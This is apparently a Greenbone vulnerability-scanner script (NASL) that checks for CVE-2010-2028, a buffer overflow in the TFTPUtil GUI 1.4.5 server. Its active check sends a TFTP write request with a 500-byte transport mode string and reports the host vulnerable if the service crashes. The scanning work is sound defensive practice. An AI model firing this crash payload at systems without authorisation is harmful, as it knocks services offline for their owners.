TFTPUtil GUI 1.4.5 Long Transport Mode Buffer Overflow Vulnerability - Active Check

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100618");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2010-05-04 12:32:13 +0200 (Tue, 04 May 2010)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cve_id("CVE-2010-2028");

  script_name("TFTPUtil GUI 1.4.5 Long Transport Mode Buffer Overflow Vulnerability - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/39872");

  script_category(ACT_DENIAL);
  script_family("Buffer overflow");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected", "Host/runs_windows");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_tag(name:"summary", value:"TFTPUtil GUI is prone to a buffer overflow vulnerability.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to execute arbitrary code within
  the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.");

  script_tag(name:"affected", value:"TFTPUtil GUI 1.4.5 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

if(TARGET_IS_IPV6())
  exit(0);

include("tftp.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = service_get_port(default:69, proto:"tftp", ipproto:"udp");

if(!tftp_alive(port:port))
  exit(0);

soc = open_sock_udp(port);
if(!soc)
  exit(0);

fn = "A";
md = crap(data:"A", length:500);
stuff = raw_string(0x00,0x02) + fn + raw_string(0x00) + md + raw_string(0x00);

send(socket:soc, data:stuff);

if(!tftp_alive(port:port)) {
  security_message(port:port, proto:"udp");
  exit(0);
}

close(soc);
exit(99);